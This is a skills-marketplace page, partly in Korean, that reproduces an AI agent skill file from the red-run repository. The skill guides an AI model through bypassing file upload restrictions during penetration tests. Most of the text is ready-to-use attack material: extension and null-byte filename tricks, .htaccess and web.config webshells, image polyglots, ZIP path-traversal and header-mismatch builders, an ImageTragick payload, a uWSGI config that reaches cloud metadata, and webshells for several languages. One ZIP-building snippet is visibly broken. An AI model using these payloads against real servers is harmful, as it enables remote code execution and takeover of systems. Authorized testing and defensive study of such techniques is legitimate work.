소스 정보
- 저장소
- blacklanternsecurity/red-run
- 최근 소스 활동
- 2026년 3월 22일 09:19
- 감지된 SKILL.md 언어
- 영어
- 스타
- 263
- 포크
- 37
설치 방법
기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.
소스 파일 검토
설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.
메뉴
기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.
설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/blacklanternsecurity/red-run --skill file-upload-bypass명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
Multi-phase penetration test orchestrator. Handles recon, assessment surface mapping, vulnerability chaining, and routes to technique skills for execution. Invoke via /red-run-ctf slash command only.
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted Kerberoasting via SPN manipulation, shadow credentials (msDS-KeyCredentialLink → PKINIT), and AdminSDHolder persistence.
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15 (YubiHSM, issuance policy, altSecIdentities, application policies), Golden Certificate (forge with stolen CA key), certificate theft (DPAPI/CAPI/CNG), and account persistence via certificate mapping.
SOC 직업 분류 기준
SKILL.md 표시 중
| name | file-upload-bypass |
| description | Guide file upload restriction bypass during authorized penetration testing. |
| keywords | ["file upload bypass","upload shell","webshell upload","extension bypass","upload filter bypass","magic byte bypass","content-type bypass","upload RCE","unrestricted file upload","image upload exploit","upload polyglot",".htaccess upload","web.config upload","double extension","zip null byte","zip filename truncation","zip header mismatch"] |
| tools | ["burpsuite","exiftool","ffuf"] |
| opsec | medium |
You are helping a penetration tester bypass file upload restrictions to achieve code execution or other impact on the target server. The application has a file upload feature with some form of validation that needs to be circumvented. All testing is under explicit written authorization.
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
[file-upload-bypass] Activated → <target> to the screen on activation.engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
Your return summary must include:
If not already provided, determine:
test.php (extension check)test.txt with Content-Type: application/x-php (content-type check)test.txt containing <?php (content inspection)Understanding which validations are in place determines which bypass to use. Skip if context was already provided.
The most common restriction. Try these in order of reliability.
Upload the same payload with different extensions for the target language:
# PHP (try each — server config determines which execute)
.php .php5 .php7 .phtml .pht .phar .phps .pgif .inc .hphp .module .shtml
# ASP/ASPX
.asp .aspx .ashx .asmx .config .cer .asa .cshtml .vbhtml
# JSP
.jsp .jspx .jsw .jsv .jspf .do .action
# Coldfusion
.cfm .cfml .cfc .dbm
# Perl
.pl .pm .cgi
Exploit misconfigured servers that check only the last extension but execute based on the first recognized one:
shell.php.jpg # Apache may execute as PHP if AddHandler is set
shell.php.png # Same principle
shell.asp;.jpg # IIS < 7.0 path parameter confusion
shell.aspx;1.jpg # IIS semicolon truncation
shell.php.xxxxx # Apache — unrecognized final ext, falls back to .php
Reverse double extension (Apache with misconfigured AddHandler):
shell.jpg.php # Executes as PHP when AddHandler matches .php anywhere
Works on older systems (PHP < 5.3.4, some Java implementations) for direct uploads:
shell.php%00.jpg # URL-encoded null byte
shell.php\x00.jpg # Literal null byte in multipart data
shell.php%00.png%00.jpg
Important: Null bytes in direct upload filenames require old PHP, but null bytes inside ZIP entry filenames work against modern PHP because truncation happens at the filesystem/extraction level, not PHP string handling. See Step 6 → ZIP Null Byte Filename Truncation.
Bypass case-sensitive blacklists:
shell.pHp shell.Php shell.pHP5 shell.PhAr
shell.aSp shell.aSpX shell.AsHx
shell.jSp shell.jSpX
Bypass string-matching filters:
shell.php%20 # Trailing space (Windows strips it)
shell.php%0a # Trailing newline
shell.php%0d%0a # CRLF
shell.php. # Trailing dot (Windows normalizes)
shell.php...... # Multiple dots
shell.php/ # Trailing slash
shell.php.\ # Trailing backslash (Windows)
shell.asp::$data # Bypasses extension check, IIS serves as ASP
shell.aspx::$data
shell.php::$data
Linux max filename: 255 bytes. Windows: 236 bytes. Craft a name where truncation removes the safe extension:
# 232 A's + .php + .gif — truncation drops .gif on Windows
AAAA[x232].php.gif
Unicode character U+202E reverses display order:
shell.%E2%80%AEphp.jpg # Displays as shell.gpj.php in some contexts
Change the Content-Type header in the upload request to an allowed MIME type:
Content-Type: image/png
Content-Type: image/jpeg
Content-Type: image/gif
Keep the actual file content as your payload. Many applications check only the Content-Type header, not the file contents.
Prepend valid file signatures before your payload to bypass file-type detection:
| Format | Magic Bytes | Notes |
|---|---|---|
| GIF | GIF89a | Plain ASCII — easiest to use |
| JPEG | \xff\xd8\xff\xe0 | Binary header |
| PNG | \x89PNG\r\n\x1a\n | Binary header |
%PDF-1.5 | Plain ASCII |
# Create a GIF-PHP polyglot (GIF is easiest — plain text header)
printf 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.gif.php
When both Content-Type and magic bytes are checked, set Content-Type: image/gif,
start content with GIF89a, append PHP payload, and use an extension bypass from
Step 2 for the filename.
Upload configuration files that change how the server handles other files.
Upload a .htaccess file that makes a custom extension executable:
AddType application/x-httpd-php .rce
Then upload shell.rce — Apache executes it as PHP.
Self-contained .htaccess webshell (the .htaccess itself runs as PHP):
<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>
AddType application/x-httpd-php .htaccess
<?php echo "\n";passthru($_GET['c']." 2>&1"); ?>
Upload a web.config that registers a handler for .config files:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule"
scriptProcessor="%windir%\system32\inetsrv\asp.dll"
resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
</system.webServer>
</configuration>
<!-- <% Response.write("-"&"->") %>
<% Set c=CreateObject("WScript.Shell").Exec("cmd /c "&Request("cmd"))
Response.Write(c.StdOut.ReadAll):Response.write("<!-"&"-") %> -->
Add <security><requestFiltering> to remove .config from hidden segments
if direct access is blocked.
If the server uses uWSGI and processes uploaded .ini files:
[uwsgi]
; RCE via exec magic operator
body = @(exec://whoami)
; SSRF via http magic operator
test = @(http://169.254.169.254/latest/meta-data/)
Executes when uWSGI parses the config (restart, crash, autoreload).
For applications that validate image dimensions, run getimagesize(), or
reprocess images.
Embed PHP in image metadata — survives basic validation but not reprocessing:
# Embed payload in EXIF Comment
exiftool -Comment='<?php system($_GET["cmd"]); ?>' legit.jpg
mv legit.jpg shell.php.jpg
# Embed in multiple EXIF fields for redundancy
exiftool -Artist='<?php system($_GET["cmd"]); __halt_compiler(); ?>' \
-Copyright='<?php eval($_POST["x"]); ?>' legit.jpg
Exploit via LFI: include('/uploads/shell.php.jpg') executes the PHP in
metadata.
Append PHP to a valid image — survives getimagesize() but not reprocessing:
cp legit.png shell.png
echo '<?php system($_GET["cmd"]); ?>' >> shell.png
For apps that run imagecreatefromjpeg() / imagepng() / GD library, encode
the payload into pixel data so it survives image reprocessing:
imagecreate() + imagecolorallocate() + imagepng(). Payload length
must be divisible by 3.imagegif().These produce valid images with PHP in pixel data — require LFI or a misconfiguration to trigger execution.
If the application extracts uploaded archives, inject path traversal in filenames to write outside the upload directory:
import zipfile
from io import BytesIO
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../var/www/html/shell.php',
'<?php system($_GET["cmd"]); ?>')
z.writestr('readme.txt', 'Legit content')
z.close()
with open('payload.zip', 'wb') as out:
out.write(f.getvalue())
Symlink technique — read arbitrary files:
ln -s /etc/passwd symlink.txt
zip --symlinks payload.zip symlink.txt
When a server extracts uploaded ZIP archives and checks entry names for
blocked extensions, inject a null byte into the ZIP entry filename so the
filter sees an allowed extension (.pdf) but the filesystem truncates at
the null byte and writes a dangerous extension (.php).
Why this works on modern PHP: The extension filter checks the filename as
a PHP string (null byte is a valid character, name ends in .pdf). But when
ZipArchive::extractTo() calls the underlying C library to write the file,
the C string is truncated at the null byte — the file lands as shell.php.
This is NOT the same as null bytes in direct upload filenames (patched in
PHP 5.3.4) — this exploits the PHP/C boundary during ZIP extraction.
Step 1 — Create a ZIP with a double-dot placeholder in the filename:
import zipfile
with zipfile.ZipFile("payload.zip", "w") as zf:
# arcname has double dot: file.php..pdf
# The second dot will be replaced with \x00 via hex edit
zf.write("shell.php", arcname="file.php..pdf")
Where shell.php contains a standard webshell (<?php system($_GET['cmd']); ?>).
The content filter typically does not scan for PHP tags when the entry name
ends in .pdf.
Step 2 — Hex-edit the ZIP to replace the second . with a null byte
(\x00). The filename file.php..pdf appears twice in the ZIP: once in the
local file header and once in the central directory entry. Replace the
. before pdf with \x00 in both locations:
Before: 66 69 6C 65 2E 70 68 70 2E 2E 70 64 66 file.php..pdf
After: 66 69 6C 65 2E 70 68 70 2E 00 70 64 66 file.php.\x00pdf
Use any hex editor (hexeditor, xxd, printf with dd). Automated:
# Read the ZIP, replace the second dot with null byte
with open("payload.zip", "rb") as f:
data = f.read()
# Replace both occurrences (local header + central directory)
data = data.replace(b"file.php..pdf", b"file.php.\x00pdf")
with open("payload.zip", "wb") as f:
f.write(data)
Step 3 — Verify the archive entry name is truncated:
unzip -l payload.zip
# Should show: file.php (truncated at null byte)
Step 4 — Upload. The server's extension filter reads the full bytes
including the null, sees .pdf at the end, and allows it. Extraction
truncates at the null byte and writes file.php to disk. The URL may
include %20 or other artifacts from null byte handling — try both the
clean name and the URL-encoded variant:
http://target.com/uploads/file.php
http://target.com/uploads/file.php%20
When to use: Server extracts ZIP uploads, checks entry names for blocked
extensions, and extracted files are web-accessible. The extension filter is
the primary defense (content inspection may or may not be present). This
bypasses both extension whitelists and blacklists because the filter never
sees .php — it sees .pdf.
ZIP files store each filename in two places: the local file header (at the file data) and the central directory entry (at the end of the archive). Most PHP/Java ZIP libraries read filenames from the central directory, but some extraction implementations write files using local header names. If the server's filter checks central directory names but extracts using local header names, use different filenames in each location.
import struct
def local_header(filename, data):
"""Build a local file header with the REAL filename."""
return struct.pack('<4sHHHHHIIIHH',
b'PK\x03\x04', 20, 0, 0, 0, 0, 0,
len(data), len(data), len(filename), 0) + filename + data
def central_entry(filename, offset, data):
"""Build a central directory entry with the FAKE filename."""
return struct.pack('<4sHHHHHHIIIHHHHHII',
b'PK\x01\x02', 20, 20, 0, 0, 0, 0, 0,
len(data), len(data), len(filename), 0, 0, 0, 0, 0, offset) + filename
# Local header: real filename (.php or .htaccess)
# Central dir: innocuous filename (.pdf)
payload = b'<?php system($_GET["cmd"]); ?>'
local = local_header(b'shell.php', payload)
central = central_entry(b'report.pdf', 0, payload)
eocd = struct.pack('<4sHHHHIIH',
b'PK\x05\x06', 0, , , ,
(central), (local), )
(, ) f:
f.write(local + central + eocd)
The filter reads the central directory, sees report.pdf, and allows the
upload. Extraction uses the local header and writes shell.php to disk.
Variant — plant .htaccess: Use local=.htaccess with
AddType application/x-httpd-php .pdf, central=styles.css. If
AllowOverride is enabled, subsequent .pdf uploads execute as PHP.
When to use: Server extracts ZIPs and the filter checks central directory
names. Test with .htaccess first (low risk, confirms the mismatch works)
before trying .php (higher value, confirms execution).
Limitation: Only works when the extraction implementation reads local
headers. PHP's ZipArchive typically uses central directory names. Some
custom extraction code, Java's ZipInputStream, or C-level libraries may
use local headers. Test empirically.
If uploaded filenames are used in server-side operations without sanitization:
# SQL injection via filename
shell.jpg' OR 1=1--.php
# Command injection via filename
shell.jpg;sleep 10;.php
# XSS via filename (stored in admin panel)
"><img src=x onerror=alert(1)>.jpg
# Path traversal via filename
../../../etc/passwd.jpg
If the server uploads to a temporary location then validates/deletes, race it:
upload a webshell in a rapid loop while simultaneously requesting the temporary
path. Use two threads — one POSTing the upload, one GETting the expected URL.
If you hit the window between upload and deletion, the shell executes. Burp
Intruder or turbo-intruder are effective for tight race windows.
If the server processes images with ImageMagick:
CVE-2022-44268 (arbitrary file read):
pngcrush -text a "profile" "/etc/passwd" exploit.png
# Upload exploit.png → server processes with convert → download result
identify -verbose converted.png # hex-encoded file contents in metadata
CVE-2016-3714 (ImageTragick RCE):
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/x.jpg"|id > /tmp/proof")'
pop graphic-context
Save as .mvg, .svg, or any image extension that ImageMagick processes.
Minimal payloads for each language — use after achieving a bypass.
# PHP — standard
<?php system($_GET['cmd']); ?>
# PHP — minimal (17 bytes)
<?=`$_GET[0]`?>
# PHP — if <?php blocked (PHP < 7.0 ONLY — removed in 7.0)
<script language="php">system($_GET['cmd']);</script>
# PHP — if system() blocked: shell_exec(), passthru(), backticks
# ASP
<% Set c=CreateObject("WScript.Shell").Exec("cmd /c "&Request("cmd")):Response.Write(c.StdOut.ReadAll) %>
# JSP
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
# ASPX (C#)
<%@ Page Language="C#" %><%new System.Diagnostics.Process(){StartInfo=new System.Diagnostics.ProcessStartInfo("cmd","/c "+Request["cmd"]){RedirectStandardOutput=true,UseShellExecute=false}}.Start()%>
.htaccess / web.config changes affect all users — restore originalstest.jpg, not shell.php).jpg, .png, etc.)
vs a blacklist (blocks .php, .asp, etc.)../shell.php).php file despite extension filtering — the extension filter sees
.pdf but extraction writes .php, which Apache processes natively without
needing .htaccess overrides/uploads/, /images/, /media/, /files/, /tmp/ffuf -u http://TARGET/FUZZ/filename.ext -w common.txt